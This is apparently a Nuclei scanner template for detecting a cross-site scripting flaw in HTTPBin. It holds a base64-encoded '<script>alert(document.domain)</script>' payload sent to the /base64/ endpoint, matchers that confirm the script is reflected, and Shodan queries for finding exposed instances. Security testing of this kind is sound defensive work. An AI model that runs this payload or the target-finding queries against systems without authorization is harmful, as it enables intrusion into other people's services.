id: httpbin-xss

info:
  name: HTTPBin - Cross-Site Scripting
  author: Adam Crosser
  severity: high
  description: HTTPBin contains a cross-site scripting vulnerability which can allow an attacker to execute arbitrary script. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://github.com/postmanlabs/httpbin
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-80
  metadata:
    max-request: 1
    shodan-query:
      - html:"https://github.com/requests/httpbin"
      - title:"httpbin.org"
  tags: xss,httpbin,oss,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/base64/PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '^<script>alert\(document.domain\)</script>$'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a00463044022043393b3255ad2849eb5aed18282d77ebee00e25e03cd7d4aa94e8ca58b085fd502201fa422fc1fefea115b8ebb996f2eb678e81517b0daee06c006097669fb3775ee:922c64590222798bb761d5b6d8e72950